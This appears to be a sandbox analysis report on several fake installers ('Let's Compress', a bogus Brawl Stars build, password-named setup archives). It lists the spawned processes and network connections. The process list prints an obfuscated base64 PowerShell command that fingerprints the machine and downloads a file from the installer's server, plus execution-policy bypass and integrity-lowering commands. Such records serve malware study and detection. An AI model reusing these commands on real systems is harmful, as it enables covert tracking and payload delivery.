"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3500 -childID 150 -isForBrowser -prefsHandle 6388 -prefMapHandle 14060 -prefsLen 28831 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c981b0f4-3b36-4be7-8783-891aa13bb55e} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=10204 -childID 151 -isForBrowser -prefsHandle 10740 -prefMapHandle 5804 -prefsLen 28831 -prefMapSize 244658 -jsInitHandle 980 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b87f8e0a-cac6-4ac3-9823-0d99be83c254} 2780 "\\.\pipe\gecko-crash-server-pipe.2780" tab

C:\Windows\system32\AUDIODG.EXE

C:\Windows\system32\AUDIODG.EXE 0x49c 0x3fc

C:\Windows\system32\OpenWith.exe

C:\Windows\system32\OpenWith.exe -Embedding

C:\Program Files\7-Zip\7zFM.exe

"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Downloads\♦•Rèady•Fîlè•PassW0rd•Is•♦120114•.7z"

C:\Program Files\7-Zip\7zG.exe

"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\♦•Rèady•Fîlè•PassW0rd•Is•♦120114•\" -spe -an -ai#7zMap26423:126:7zEvent19472

C:\Users\Admin\Desktop\MALWARE!!!\Brawl_Stars_V2.0.11646.123.exe

"C:\Users\Admin\Desktop\MALWARE!!!\Brawl_Stars_V2.0.11646.123.exe"

C:\Users\Admin\AppData\Roaming\Tencent\TxGameAssistant\GameDownload\TenioDL.exe

C:\Users\Admin\AppData\Roaming\Tencent\TxGameAssistant\GameDownload\TenioDL.exe

C:\Windows\SysWOW64\icacls.exe

"C:\Windows\System32\icacls.exe" C:\Users\Admin\AppData\Roaming\Tencent\Config\ /t /setintegritylevel low

C:\Windows\SysWOW64\werfault.exe

werfault.exe /h /shared Global\99c633e3f9db4db2a8a9a82472072442 /t 1196 /p 8384

C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe

"C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe"

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe"

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe"

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1964 -parentBuildID 20240401114208 -prefsHandle 1872 -prefMapHandle 1864 -prefsLen 28977 -prefMapSize 245077 -appDir "C:\Program Files\Mozilla Firefox\browser" - {aea42721-c942-4c4c-a2d4-b9acb23553bc} 984 "\\.\pipe\gecko-crash-server-pipe.984" gpu

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2328 -parentBuildID 20240401114208 -prefsHandle 2320 -prefMapHandle 2316 -prefsLen 28977 -prefMapSize 245077 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bd345268-a2c2-46b8-8650-99756e2cceec} 984 "\\.\pipe\gecko-crash-server-pipe.984" socket

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3256 -childID 1 -isForBrowser -prefsHandle 3292 -prefMapHandle 3280 -prefsLen 24148 -prefMapSize 245077 -jsInitHandle 1248 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {52cb2c32-1885-4286-a0f7-5fee43a69c6d} 984 "\\.\pipe\gecko-crash-server-pipe.984" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3748 -childID 2 -isForBrowser -prefsHandle 3744 -prefMapHandle 3740 -prefsLen 34459 -prefMapSize 245077 -jsInitHandle 1248 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5a62b809-fc7f-4498-b805-2515bcc1bfd9} 984 "\\.\pipe\gecko-crash-server-pipe.984" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4288 -childID 3 -isForBrowser -prefsHandle 4280 -prefMapHandle 4276 -prefsLen 28356 -prefMapSize 245077 -jsInitHandle 1248 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1ba48860-5776-4ef2-8b9e-106f926a4b2e} 984 "\\.\pipe\gecko-crash-server-pipe.984" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4820 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4840 -prefMapHandle 4836 -prefsLen 34459 -prefMapSize 245077 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d53eb4aa-9db1-4b81-9609-68a5fc9b1b0c} 984 "\\.\pipe\gecko-crash-server-pipe.984" utility

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5472 -childID 4 -isForBrowser -prefsHandle 5464 -prefMapHandle 5436 -prefsLen 28410 -prefMapSize 245077 -jsInitHandle 1248 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {459a1c17-8b0a-4764-948e-73b7aba6c9d8} 984 "\\.\pipe\gecko-crash-server-pipe.984" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5648 -childID 5 -isForBrowser -prefsHandle 5652 -prefMapHandle 5656 -prefsLen 28463 -prefMapSize 245077 -jsInitHandle 1248 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {095e9633-8a4f-4c68-81ab-69cabfaf208d} 984 "\\.\pipe\gecko-crash-server-pipe.984" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5864 -childID 6 -isForBrowser -prefsHandle 5820 -prefMapHandle 5748 -prefsLen 28463 -prefMapSize 245077 -jsInitHandle 1248 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c681e0bf-4d7e-43d1-bfed-db915cf29de1} 984 "\\.\pipe\gecko-crash-server-pipe.984" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5672 -childID 7 -isForBrowser -prefsHandle 6080 -prefMapHandle 6072 -prefsLen 28463 -prefMapSize 245077 -jsInitHandle 1248 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {941405ab-91de-4118-939a-368792069f28} 984 "\\.\pipe\gecko-crash-server-pipe.984" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6128 -childID 8 -isForBrowser -prefsHandle 6112 -prefMapHandle 6116 -prefsLen 28463 -prefMapSize 245077 -jsInitHandle 1248 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6f7ed64e-6740-4e5d-ab03-b1c30ccb620f} 984 "\\.\pipe\gecko-crash-server-pipe.984" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5876 -childID 9 -isForBrowser -prefsHandle 5808 -prefMapHandle 5752 -prefsLen 28463 -prefMapSize 245077 -jsInitHandle 1248 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {df4f3f1d-9829-4f8d-a4ef-06047abd9a6d} 984 "\\.\pipe\gecko-crash-server-pipe.984" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" https://convertmasterapp.com/thankyou/?tyid=e97cb06e-afaa-46c9-859a-3d484274977c

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" https://convertmasterapp.com/thankyou/?tyid=e97cb06e-afaa-46c9-859a-3d484274977c

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3764 -childID 10 -isForBrowser -prefsHandle 3392 -prefMapHandle 3396 -prefsLen 28997 -prefMapSize 245077 -jsInitHandle 1248 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0af292fa-9a02-4c02-b4dd-849374d60197} 984 "\\.\pipe\gecko-crash-server-pipe.984" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4468 -childID 11 -isForBrowser -prefsHandle 5356 -prefMapHandle 5712 -prefsLen 28997 -prefMapSize 245077 -jsInitHandle 1248 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {17955238-d865-41ef-b045-63aeca3418c2} 984 "\\.\pipe\gecko-crash-server-pipe.984" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5328 -childID 12 -isForBrowser -prefsHandle 6608 -prefMapHandle 3868 -prefsLen 28997 -prefMapSize 245077 -jsInitHandle 1248 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b3a870b9-3b75-4b8f-b416-009d5a9dbcfe} 984 "\\.\pipe\gecko-crash-server-pipe.984" tab

C:\Users\Admin\Desktop\MALWARE!!!\#Pa$$w0rD__5566--0peÉ´_Set-Up!\setup.exe

"C:\Users\Admin\Desktop\MALWARE!!!\#Pa$$w0rD__5566--0peÉ´_Set-Up!\setup.exe"

C:\Users\Admin\Desktop\MALWARE!!!\#Pa$$w0rD__5566--0peÉ´_Set-Up!\setup.exe

"C:\Users\Admin\Desktop\MALWARE!!!\#Pa$$w0rD__5566--0peÉ´_Set-Up!\setup.exe"

C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe

"C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe"

C:\Windows\system32\msiexec.exe

C:\Windows\system32\msiexec.exe /V

C:\Windows\syswow64\MsiExec.exe

C:\Windows\syswow64\MsiExec.exe -Embedding 7C7AFA867D49BADD8205EE0F65096EBB C

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIA5CF.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_241608171 284 RequestSender!RequestSender.CustomActions.Start

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIAD58.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_241610078 670 RequestSender!RequestSender.CustomActions.NextWelcome

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIB0A5.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_241610921 771 RequestSender!RequestSender.CustomActions.NextEula

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIB384.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_241611687 874 RequestSender!RequestSender.CustomActions.NextInstalFolder

C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe

"C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe" /i "C:\Users\Admin\AppData\Roaming\Let's Compress\Let's Compress 1.4.0.0\install\AC2D50C\Let's Compress.msi" AI_EUIMSI=1 APPDIR="C:\Users\Admin\AppData\Roaming\Let's Compress" SECONDSEQUENCE="1" CLIENTPROCESSID="4176" CHAINERUIPROCESSID="4176Chainer" ACTION="INSTALL" EXECUTEACTION="INSTALL" CLIENTUILEVEL="0" ADDLOCAL="MainFeature" ACTIVE_WINDOW_NAME="ready_installation" PRIMARYFOLDER="APPDIR" ROOTDRIVE="F:\" AI_SETUPEXEPATH="C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe" SETUPEXEDIR="C:\Users\Admin\Desktop\MALWARE!!!\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1738180022 " TARGETDIR="F:\" AI_SETUPEXEPATH_ORIGINAL="C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe" AI_INSTALL="1"

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIB700.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_241612609 967 RequestSender!RequestSender.CustomActions.NextReadyInstallation

C:\Windows\syswow64\MsiExec.exe

C:\Windows\syswow64\MsiExec.exe -Embedding 6F04F7E4FC163CB8BB65AD3C7AE77902

C:\Users\Admin\Desktop\MALWARE!!!\♦•Rèady•Fîlè•PassW0rd•Is•♦120114•\Setup.exe

"C:\Users\Admin\Desktop\MALWARE!!!\♦•Rèady•Fîlè•PassW0rd•Is•♦120114•\Setup.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

-NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pssD694.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msiD691.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scrD692.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scrD693.txt" -propSep " :<->: " -testPrefix "_testValue."

C:\Windows\SysWOW64\more.com

C:\Windows\SysWOW64\more.com

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe "C:\Windows\Installer\MSIEA32.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_241625640 1922 RequestSender!RequestSender.CustomActions.Finish

C:\Users\Admin\AppData\Local\Temp\AutoIt3.exe

C:\Users\Admin\AppData\Local\Temp\AutoIt3.exe

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIF562.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_241628500 1756 RequestSender!RequestSender.CustomActions.FinishInstall

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

-NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pssF557.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msiF554.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scrF555.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scrF556.txt" -propSep " :<->: " -testPrefix "_testValue."

C:\Users\Admin\AppData\Roaming\Let's Compress\upd.exe

"C:\Users\Admin\AppData\Roaming\Let's Compress\upd.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -encodedCommand "JABtAGEAYwBoAGkAbgBlAEcAdQBpAGQAIAA9ACAAJAAoAEcAZQB0AC0AQwBpAG0ASQBuAHMAdABhAG4AYwBlACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBDAG8AbQBwAHUAdABlAHIAUwB5AHMAdABlAG0AUAByAG8AZAB1AGMAdAApAC4AVQBVAEkARAAKACQAaABhAHMAaABBAGwAZwBvAHIAaQB0AGgAbQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQAxAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACQAaABhAHMAaABCAHkAdABlAHMAIAA9ACAAJABoAGEAcwBoAEEAbABnAG8AcgBpAHQAaABtAC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAbQBhAGMAaABpAG4AZQBHAHUAaQBkACkAKQAKACQAdAByAHUAbgBjAGEAdABlAGQASABhAHMAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQgBpAHQAQwBvAG4AdgBlAHIAdABlAHIAXQA6ADoAVABvAFMAdAByAGkAbgBnACgAJABoAGEAcwBoAEIAeQB0AGUAcwApAC4AUgBlAHAAbABhAGMAZQAoACIALQAiACwAIAAiACIAKQAKACQAcwBoAG8AcgB0AFYAYQBsAHUAZQAgAD0AIAAkAHQAcgB1AG4AYwBhAHQAZQBkAEgAYQBzAGgALgBUAG8ATABvAHcAZQByACgAKQAKACQAYwBsAGkAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7AAoAJAB1AHMAcgBBAGcAZQBuAHQAIAA9ACAAIgBsAGUAdABzAGMAbwBtAHAAcgBlAHMAcwAvADEALgA0AC4AMAAuADAALwAiACsAIAAkAHMAaABvAHIAdABWAGEAbAB1AGUACgAkAGMAbABpAC4ASABlAGEAZABlAHIAcwBbACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnAF0AIAA9ACAAJAB1AHMAcgBBAGcAZQBuAHQAOwAKACQAYwBsAGkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGwAZQB0AHMALQBjAG8AbQBwAHIAZQBzAHMALQB0AG8AbwBsAC4AYwBvAG0ALwB1AHAAZABhAHQAZQAuAHQAeAB0ACcALAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAXAB1AHAAZABhAHQAZQByAEkAbgBmAG8ALgB0AHgAdAAnACkACgA=

C:\Users\Admin\Desktop\MALWARE!!!\♦•Rèady•Fîlè•PassW0rd•Is•♦120114•\Setup.exe

"C:\Users\Admin\Desktop\MALWARE!!!\♦•Rèady•Fîlè•PassW0rd•Is•♦120114•\Setup.exe"

C:\Windows\SysWOW64\more.com

C:\Windows\SysWOW64\more.com

C:\Users\Admin\AppData\Local\Temp\AutoIt3.exe

C:\Users\Admin\AppData\Local\Temp\AutoIt3.exe

C:\Windows\SysWOW64\werfault.exe

werfault.exe /h /shared Global\6c0c1baf29704bf4a95ebbcd1cabee8e /t 1196 /p 8384

C:\Users\Admin\Desktop\MALWARE!!!\♦•Rèady•Fîlè•PassW0rd•Is•♦120114•\Setup.exe

"C:\Users\Admin\Desktop\MALWARE!!!\♦•Rèady•Fîlè•PassW0rd•Is•♦120114•\Setup.exe"

C:\Windows\SysWOW64\more.com

C:\Windows\SysWOW64\more.com

C:\Users\Admin\Desktop\MALWARE!!!\♦•Rèady•Fîlè•PassW0rd•Is•♦120114•\Setup.exe

"C:\Users\Admin\Desktop\MALWARE!!!\♦•Rèady•Fîlè•PassW0rd•Is•♦120114•\Setup.exe"

C:\Windows\SysWOW64\more.com

C:\Windows\SysWOW64\more.com

C:\Users\Admin\AppData\Local\Temp\AutoIt3.exe

C:\Users\Admin\AppData\Local\Temp\AutoIt3.exe

C:\Users\Admin\AppData\Local\Temp\AutoIt3.exe

C:\Users\Admin\AppData\Local\Temp\AutoIt3.exe

C:\Windows\system32\taskmgr.exe

"C:\Windows\system32\taskmgr.exe" /4

C:\Users\Admin\Desktop\MALWARE!!!\♦•Rèady•Fîlè•PassW0rd•Is•♦120114•\Setup.exe

"C:\Users\Admin\Desktop\MALWARE!!!\♦•Rèady•Fîlè•PassW0rd•Is•♦120114•\Setup.exe"

C:\Windows\SysWOW64\more.com

C:\Windows\SysWOW64\more.com

Network

Country Destination Domain Proto
N/A 127.0.0.1:65064 tcp
US 8.8.8.8:53 download.cnet.com udp
US 8.8.8.8:53 spocs.getpocket.com udp
US 151.101.129.91:443 download.cnet.com tcp
US 151.101.129.91:443 download.cnet.com tcp
US 8.8.8.8:53 prod.ads.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 prod.content-signature-chains.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 shavar.prod.mozaws.net udp
US 8.8.8.8:53 n.sni.global.fastly.net udp
US 8.8.8.8:53 prod.remote-settings.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 prod.ads.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 prod.content-signature-chains.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 prod.remote-settings.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 n.sni.global.fastly.net udp
US 151.101.129.91:443 n.sni.global.fastly.net udp
US 8.8.8.8:53 91.129.101.151.in-addr.arpa udp
US 8.8.8.8:53 securepubads.g.doubleclick.net udp
US 8.8.8.8:53 c.amazon-adsystem.com udp
US 8.8.8.8:53 www.cnet.com udp
US 8.8.8.8:53 assets.dwncdn.net udp
AT 18.66.22.10:443 c.amazon-adsystem.com tcp
US 151.101.129.91:443 assets.dwncdn.net tcp
US 8.8.8.8:53 d1ykf07e75w7ss.cloudfront.net udp
US 8.8.8.8:53 swls.map.fastly.net udp
US 151.101.129.91:443 swls.map.fastly.net tcp
GB 216.58.213.2:443 securepubads.g.doubleclick.net tcp
US 8.8.8.8:53 securepubads.g.doubleclick.net udp
US 8.8.8.8:53 swls.map.fastly.net udp
US 8.8.8.8:53 d1ykf07e75w7ss.cloudfront.net udp
US 8.8.8.8:53 securepubads.g.doubleclick.net udp
US 8.8.8.8:53 www.google.com udp
US 8.8.8.8:53 www.google.com udp
US 8.8.8.8:53 cdn.cookielaw.org udp
GB 142.250.178.4:443 www.google.com tcp
US 151.101.129.91:443 swls.map.fastly.net tcp
US 151.101.129.91:443 swls.map.fastly.net tcp
US 8.8.8.8:53 firefox-api-proxy.cdn.mozilla.net udp
US 8.8.8.8:53 www.google.com udp
US 104.18.86.42:443 cdn.cookielaw.org tcp
US 8.8.8.8:53 cdn.cookielaw.org udp
US 8.8.8.8:53 cdn.cookielaw.org udp
US 151.101.129.91:443 swls.map.fastly.net udp
US 104.18.86.42:443 cdn.cookielaw.org tcp
US 104.18.86.42:443 cdn.cookielaw.org tcp
US 8.8.8.8:53 push-sdk.com udp
GB 142.250.178.4:443 www.google.com udp
DE 178.63.248.56:443 push-sdk.com tcp
US 8.8.8.8:53 push-sdk.com udp
US 8.8.8.8:53 push-sdk.com udp
US 8.8.8.8:53 57.151.228.44.in-addr.arpa udp
US 8.8.8.8:53 200.187.250.142.in-addr.arpa udp
US 8.8.8.8:53 2.213.58.216.in-addr.arpa udp
US 8.8.8.8:53 10.22.66.18.in-addr.arpa udp
US 8.8.8.8:53 4.178.250.142.in-addr.arpa udp
US 8.8.8.8:53 42.86.18.104.in-addr.arpa udp
US 8.8.8.8:53 56.248.63.178.in-addr.arpa udp
US 8.8.8.8:53 images.dwncdn.net udp
US 151.101.65.91:443 images.dwncdn.net tcp
US 151.101.65.91:443 images.dwncdn.net tcp
US 151.101.65.91:443 images.dwncdn.net tcp
US 151.101.65.91:443 images.dwncdn.net tcp
US 151.101.65.91:443 images.dwncdn.net tcp
US 151.101.65.91:443 images.dwncdn.net tcp
US 8.8.8.8:53 geolocation.onetrust.com udp
US 8.8.8.8:53 region1.google-analytics.com udp
US 8.8.8.8:53 btloader.com udp
US 8.8.8.8:53 firefox-api-proxy-prod.pocket.prod.cloudops.mozgcp.net udp
US 34.149.97.1:443 firefox-api-proxy-prod.pocket.prod.cloudops.mozgcp.net udp
US 34.149.97.1:443 firefox-api-proxy-prod.pocket.prod.cloudops.mozgcp.net tcp
US 8.8.8.8:53 uidsync.net udp
US 104.18.32.137:443 geolocation.onetrust.com tcp
US 8.8.8.8:53 geolocation.onetrust.com udp
US 8.8.8.8:53 btloader.com udp
US 151.101.65.91:443 images.dwncdn.net udp
DE 178.63.248.57:443 uidsync.net tcp
US 8.8.8.8:53 uidsync.net udp
US 8.8.8.8:53 firefox-api-proxy-prod.pocket.prod.cloudops.mozgcp.net udp
US 8.8.8.8:53 region1.google-analytics.com udp
US 8.8.8.8:53 btloader.com udp
US 8.8.8.8:53 geolocation.onetrust.com udp
US 8.8.8.8:53 region1.google-analytics.com udp
US 8.8.8.8:53 uidsync.net udp
DE 178.63.248.57:443 uidsync.net tcp
US 216.239.34.36:443 region1.google-analytics.com tcp
US 104.22.74.216:443 btloader.com tcp
GB 216.58.213.2:443 securepubads.g.doubleclick.net udp
US 216.239.34.36:443 region1.google-analytics.com udp
US 8.8.8.8:53 ad-delivery.net udp
US 104.26.2.70:443 ad-delivery.net tcp
US 104.26.2.70:443 ad-delivery.net tcp
US 8.8.8.8:53 ad-delivery.net udp
US 8.8.8.8:53 ag.dns-finder.com udp
US 8.8.8.8:53 91.65.101.151.in-addr.arpa udp
US 8.8.8.8:53 137.32.18.104.in-addr.arpa udp
US 8.8.8.8:53 57.248.63.178.in-addr.arpa udp
US 8.8.8.8:53 216.74.22.104.in-addr.arpa udp
US 8.8.8.8:53 36.34.239.216.in-addr.arpa udp
US 8.8.8.8:53 ad-delivery.net udp
US 8.8.8.8:53 cdn.btmessage.com udp
US 8.8.8.8:53 api.btloader.com udp
US 104.26.6.141:443 cdn.btmessage.com tcp
US 130.211.23.194:443 api.btloader.com tcp
US 8.8.8.8:53 cdn.btmessage.com udp
US 8.8.8.8:53 api.btloader.com udp
US 8.8.8.8:53 api.btloader.com udp
US 8.8.8.8:53 cdn.btmessage.com udp
US 8.8.8.8:53 api.btmessage.com udp
US 172.67.74.232:443 api.btmessage.com tcp
US 8.8.8.8:53 api.btmessage.com udp
US 130.211.23.194:443 api.btloader.com udp
US 8.8.8.8:53 api.btmessage.com udp
US 130.211.23.194:443 api.btloader.com udp
US 8.8.8.8:53 g.bing.com udp
US 150.171.27.10:443 g.bing.com tcp
US 8.8.8.8:53 70.2.26.104.in-addr.arpa udp
US 8.8.8.8:53 102.201.58.216.in-addr.arpa udp
US 8.8.8.8:53 141.6.26.104.in-addr.arpa udp
US 8.8.8.8:53 194.23.211.130.in-addr.arpa udp
US 8.8.8.8:53 232.74.67.172.in-addr.arpa udp
US 8.8.8.8:53 132.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 11.153.16.2.in-addr.arpa udp
US 8.8.8.8:53 7.98.51.23.in-addr.arpa udp
N/A 127.0.0.1:65072 tcp
US 8.8.8.8:53 sb.scorecardresearch.com udp
US 8.8.8.8:53 www.clarity.ms udp
US 8.8.8.8:53 cdn-ima.33across.com udp
US 8.8.8.8:53 ep1.adtrafficquality.google udp
US 8.8.8.8:53 a894d731ffe0d04e655a459a3e68d3df.safeframe.googlesyndication.com udp
AT 13.32.110.8:443 sb.scorecardresearch.com tcp
US 8.8.8.8:53 sb.scorecardresearch.com udp
US 13.107.246.64:443 www.clarity.ms tcp
US 8.8.8.8:53 s-part-0036.t-0009.t-msedge.net udp
US 8.8.8.8:53 cdn-ima.33across.com.cdn.cloudflare.net udp
US 104.18.28.101:443 cdn-ima.33across.com.cdn.cloudflare.net tcp
GB 216.58.204.66:443 ep1.adtrafficquality.google tcp
US 8.8.8.8:53 ep1.adtrafficquality.google udp
GB 142.250.179.225:443 a894d731ffe0d04e655a459a3e68d3df.safeframe.googlesyndication.com tcp
US 8.8.8.8:53 a894d731ffe0d04e655a459a3e68d3df.safeframe.googlesyndication.com udp
US 8.8.8.8:53 sb.scorecardresearch.com udp
US 8.8.8.8:53 s-part-0036.t-0009.t-msedge.net udp
US 8.8.8.8:53 cdn-ima.33across.com.cdn.cloudflare.net udp
US 8.8.8.8:53 ep1.adtrafficquality.google udp
US 8.8.8.8:53 a894d731ffe0d04e655a459a3e68d3df.safeframe.googlesyndication.com udp
GB 142.250.179.225:443 a894d731ffe0d04e655a459a3e68d3df.safeframe.googlesyndication.com udp
GB 216.58.204.66:443 ep1.adtrafficquality.google udp
US 8.8.8.8:53 ep2.adtrafficquality.google udp
GB 142.250.180.1:443 ep2.adtrafficquality.google tcp
US 8.8.8.8:53 ep2.adtrafficquality.google udp
US 8.8.8.8:53 c.clarity.ms udp
US 8.8.8.8:53 c-msn-pme.trafficmanager.net udp
US 8.8.8.8:53 ep2.adtrafficquality.google udp
US 8.8.8.8:53 c-msn-pme.trafficmanager.net udp
GB 142.250.180.1:443 ep2.adtrafficquality.google udp
IE 13.74.129.1:443 c-msn-pme.trafficmanager.net tcp
US 8.8.8.8:53 c.bing.com udp
US 150.171.28.10:443 c.bing.com tcp
US 8.8.8.8:53 ax-0001.ax-msedge.net udp
US 8.8.8.8:53 ax-0001.ax-msedge.net udp
US 8.8.8.8:53 u.clarity.ms udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 4.227.249.197:443 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com tcp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 64.246.107.13.in-addr.arpa udp
US 8.8.8.8:53 101.28.18.104.in-addr.arpa udp
US 8.8.8.8:53 66.204.58.216.in-addr.arpa udp
US 8.8.8.8:53 8.110.32.13.in-addr.arpa udp
